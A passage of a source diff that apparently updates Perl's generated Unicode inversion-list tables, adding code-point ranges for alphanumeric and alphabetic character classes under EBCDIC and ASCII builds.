+	0x1D6A8,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E800,
+	0x1E8C5,
+	0x1E900,
+	0x1E944,
+	0x1E947,
+	0x1E948,
+	0x1E950,
+	0x1E95A,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1F130,
+	0x1F14A,
+	0x1F150,
+	0x1F16A,
+	0x1F170,
+	0x1F18A,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_XPOSIXALNUM_invlist[] = { /* for EBCDIC 037 */
+	1411,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x62,
+	0x6A,
+	0x70,
+	0x79,
+	0x80,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAF,
+	0xC1,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xDA,
+	0xDB,
+	0xE0,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xFA,
+	0xFB,
+	0xFF,
+	0x100,
+	0x2C2,
+	0x2C6,
+	0x2D2,
+	0x2E0,
+	0x2E5,
+	0x2EC,
+	0x2ED,
+	0x2EE,
+	0x2EF,
+	0x345,
+	0x346,
+	0x370,
+	0x375,
+	0x376,
+	0x378,
+	0x37A,
+	0x37E,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3F6,
+	0x3F7,
+	0x482,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x55A,
+	0x561,
+	0x588,
+	0x5B0,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F3,
+	0x610,
+	0x61B,
+	0x620,
+	0x658,
+	0x659,
+	0x66A,
+	0x66E,
+	0x6D4,
+	0x6D5,
+	0x6DD,
+	0x6E1,
+	0x6E9,
+	0x6ED,
+	0x6FD,
+	0x6FF,
+	0x700,
+	0x710,
+	0x740,
+	0x74D,
+	0x7B2,
+	0x7C0,
+	0x7EB,
+	0x7F4,
+	0x7F6,
+	0x7FA,
+	0x7FB,
+	0x800,
+	0x818,
+	0x81A,
+	0x82D,
+	0x840,
+	0x859,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x8D4,
+	0x8E0,
+	0x8E3,
+	0x8EA,
+	0x8F0,
+	0x93C,
+	0x93D,
+	0x94D,
+	0x94E,
+	0x951,
+	0x955,
+	0x964,
+	0x966,
+	0x970,
+	0x971,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BD,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CD,
+	0x9CE,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9F2,
+	0x9FC,
+	0x9FD,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4D,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABD,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACD,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF0,
+	0xAF9,
+	0xAFD,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3D,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4D,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB66,
+	0xB70,
+	0xB71,
+	0xB72,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCD,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBF0,
+	0xC00,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4D,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC80,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBD,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCD,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD00,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4D,
+	0xD4E,
+	0xD4F,
+	0xD54,
+	0xD58,
+	0xD5F,
+	0xD64,
+	0xD66,
+	0xD70,
+	0xD7A,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF4,
+	0xE01,
+	0xE3B,
+	0xE40,
+	0xE47,
+	0xE4D,
+	0xE4E,
+	0xE50,
+	0xE5A,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xECD,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF01,
+	0xF20,
+	0xF2A,
+	0xF40,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF82,
+	0xF88,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0x1000,
+	0x1037,
+	0x1038,
+	0x1039,
+	0x103B,
+	0x104A,
+	0x1050,
+	0x1063,
+	0x1065,
+	0x1069,
+	0x106E,
+	0x1087,
+	0x108E,
+	0x108F,
+	0x1090,
+	0x109A,
+	0x109C,
+	0x109E,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x10FB,
+	0x10FC,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135F,
+	0x1360,
+	0x1380,
+	0x1390,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1401,
+	0x166D,
+	0x166F,
+	0x1680,
+	0x1681,
+	0x169B,
+	0x16A0,
+	0x16EB,
+	0x16EE,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1714,
+	0x1720,
+	0x1734,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17B4,
+	0x17B6,
+	0x17C9,
+	0x17D7,
+	0x17D8,
+	0x17DC,
+	0x17DD,
+	0x17E0,
+	0x17EA,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x1939,
+	0x1946,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DA,
+	0x1A00,
+	0x1A1C,
+	0x1A20,
+	0x1A5F,
+	0x1A61,
+	0x1A75,
+	0x1A80,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AA7,
+	0x1AA8,
+	0x1B00,
+	0x1B34,
+	0x1B35,
+	0x1B44,
+	0x1B45,
+	0x1B4C,
+	0x1B50,
+	0x1B5A,
+	0x1B80,
+	0x1BAA,
+	0x1BAC,
+	0x1BE6,
+	0x1BE7,
+	0x1BF2,
+	0x1C00,
+	0x1C36,
+	0x1C40,
+	0x1C4A,
+	0x1C4D,
+	0x1C7E,
+	0x1C80,
+	0x1C89,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF4,
+	0x1CF5,
+	0x1CF7,
+	0x1D00,
+	0x1DC0,
+	0x1DE7,
+	0x1DF5,
+	0x1E00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FE0,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFD,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x24B6,
+	0x24EA,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CE5,
+	0x2CEB,
+	0x2CEF,
+	0x2CF2,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D70,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
+	0x2E00,
+	0x2E2F,
+	0x2E30,
+	0x3005,
+	0x3008,
+	0x3021,
+	0x302A,
+	0x3031,
+	0x3036,
+	0x3038,
+	0x303D,
+	0x3041,
+	0x3097,
+	0x309D,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x31A0,
+	0x31BB,
+	0x31F0,
+	0x3200,
+	0x3400,
+	0x4DB6,
+	0x4E00,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA4D0,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA62C,
+	0xA640,
+	0xA66F,
+	0xA674,
+	0xA67C,
+	0xA67F,
+	0xA6F0,
+	0xA717,
+	0xA720,
+	0xA722,
+	0xA789,
+	0xA78B,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA828,
+	0xA840,
+	0xA874,
+	0xA880,
+	0xA8C4,
+	0xA8C5,
+	0xA8C6,
+	0xA8D0,
+	0xA8DA,
+	0xA8F2,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA8FE,
+	0xA900,
+	0xA92B,
+	0xA930,
+	0xA953,
+	0xA960,
+	0xA97D,
+	0xA980,
+	0xA9B3,
+	0xA9B4,
+	0xA9C0,
+	0xA9CF,
+	0xA9DA,
+	0xA9E0,
+	0xA9E5,
+	0xA9E6,
+	0xA9FF,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA60,
+	0xAA77,
+	0xAA7A,
+	0xAA7B,
+	0xAA7E,
+	0xAABF,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAC3,
+	0xAADB,
+	0xAADE,
+	0xAAE0,
+	0xAAF0,
+	0xAAF2,
+	0xAAF6,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB66,
+	0xAB70,
+	0xABEB,
+	0xABF0,
+	0xABFA,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB29,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFC,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFF10,
+	0xFF1A,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0xFF66,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10140,
+	0x10175,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x10300,
+	0x10320,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x1037B,
+	0x10380,
+	0x1039E,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D0,
+	0x103D1,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10860,
+	0x10877,
+	0x10880,
+	0x1089F,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x10900,
+	0x10916,
+	0x10920,
+	0x1093A,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x10A00,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A60,
+	0x10A7D,
+	0x10A80,
+	0x10A9D,
+	0x10AC0,
+	0x10AC8,
+	0x10AC9,
+	0x10AE5,
+	0x10B00,
+	0x10B36,
+	0x10B40,
+	0x10B56,
+	0x10B60,
+	0x10B73,
+	0x10B80,
+	0x10B92,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x11000,
+	0x11046,
+	0x11066,
+	0x11070,
+	0x11082,
+	0x110B9,
+	0x110D0,
+	0x110E9,
+	0x110F0,
+	0x110FA,
+	0x11100,
+	0x11133,
+	0x11136,
+	0x11140,
+	0x11150,
+	0x11173,
+	0x11176,
+	0x11177,
+	0x11180,
+	0x111C0,
+	0x111C1,
+	0x111C5,
+	0x111D0,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x11235,
+	0x11237,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112B0,
+	0x112E9,
+	0x112F0,
+	0x112FA,
+	0x11300,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133D,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134D,
+	0x11350,
+	0x11351,
+	0x11357,
+	0x11358,
+	0x1135D,
+	0x11364,
+	0x11400,
+	0x11442,
+	0x11443,
+	0x11446,
+	0x11447,
+	0x1144B,
+	0x11450,
+	0x1145A,
+	0x11480,
+	0x114C2,
+	0x114C4,
+	0x114C6,
+	0x114C7,
+	0x114C8,
+	0x114D0,
+	0x114DA,
+	0x11580,
+	0x115B6,
+	0x115B8,
+	0x115BF,
+	0x115D8,
+	0x115DE,
+	0x11600,
+	0x1163F,
+	0x11640,
+	0x11641,
+	0x11644,
+	0x11645,
+	0x11650,
+	0x1165A,
+	0x11680,
+	0x116B6,
+	0x116C0,
+	0x116CA,
+	0x11700,
+	0x1171A,
+	0x1171D,
+	0x1172B,
+	0x11730,
+	0x1173A,
+	0x118A0,
+	0x118EA,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A33,
+	0x11A35,
+	0x11A3F,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A98,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C37,
+	0x11C38,
+	0x11C3F,
+	0x11C40,
+	0x11C41,
+	0x11C50,
+	0x11C5A,
+	0x11C72,
+	0x11C90,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D42,
+	0x11D43,
+	0x11D44,
+	0x11D46,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16A60,
+	0x16A6A,
+	0x16AD0,
+	0x16AEE,
+	0x16B00,
+	0x16B37,
+	0x16B40,
+	0x16B44,
+	0x16B50,
+	0x16B5A,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F7F,
+	0x16F93,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9E,
+	0x1BC9F,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E800,
+	0x1E8C5,
+	0x1E900,
+	0x1E944,
+	0x1E947,
+	0x1E948,
+	0x1E950,
+	0x1E95A,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1F130,
+	0x1F14A,
+	0x1F150,
+	0x1F16A,
+	0x1F170,
+	0x1F18A,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_XPOSIXALPHA_invlist[] = { /* for ASCII/Latin1 */
+	1321,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
 	0x41,
 	0x5B,
 	0x61,
@@ -23246,6 +127160,8 @@
 	0x82D,
 	0x840,
 	0x859,
+	0x860,
+	0x86B,
 	0x8A0,
 	0x8B5,
 	0x8B6,
@@ -23292,6 +127208,8 @@
 	0x9E4,
 	0x9F0,
 	0x9F2,
+	0x9FC,
+	0x9FD,
 	0xA01,
 	0xA04,
 	0xA05,
@@ -23347,7 +127265,7 @@
 	0xAE0,
 	0xAE4,
 	0xAF9,
-	0xAFA,
+	0xAFD,
 	0xB01,
 	0xB04,
 	0xB05,
@@ -23454,7 +127372,7 @@
 	0xCE4,
 	0xCF1,
 	0xCF3,
-	0xD01,
+	0xD00,
 	0xD04,
 	0xD05,
 	0xD0D,
@@ -23837,7 +127755,7 @@
 	0x30FC,
 	0x3100,
 	0x3105,
-	0x312E,
+	0x312F,
 	0x3131,
 	0x318F,
 	0x31A0,
@@ -23847,7 +127765,7 @@
 	0x3400,
 	0x4DB6,
 	0x4E00,
-	0x9FD6,
+	0x9FEB,
 	0xA000,
 	0xA48D,
 	0xA4D0,
@@ -24022,7 +127940,7 @@
 	0x102D1,
 	0x10300,
 	0x10320,
-	0x10330,
+	0x1032D,
 	0x1034B,
 	0x10350,
 	0x1037B,
@@ -24210,6 +128128,14 @@
 	0x118E0,
 	0x118FF,
 	0x11900,
+	0x11A00,
+	0x11A33,
+	0x11A35,
+	0x11A3F,
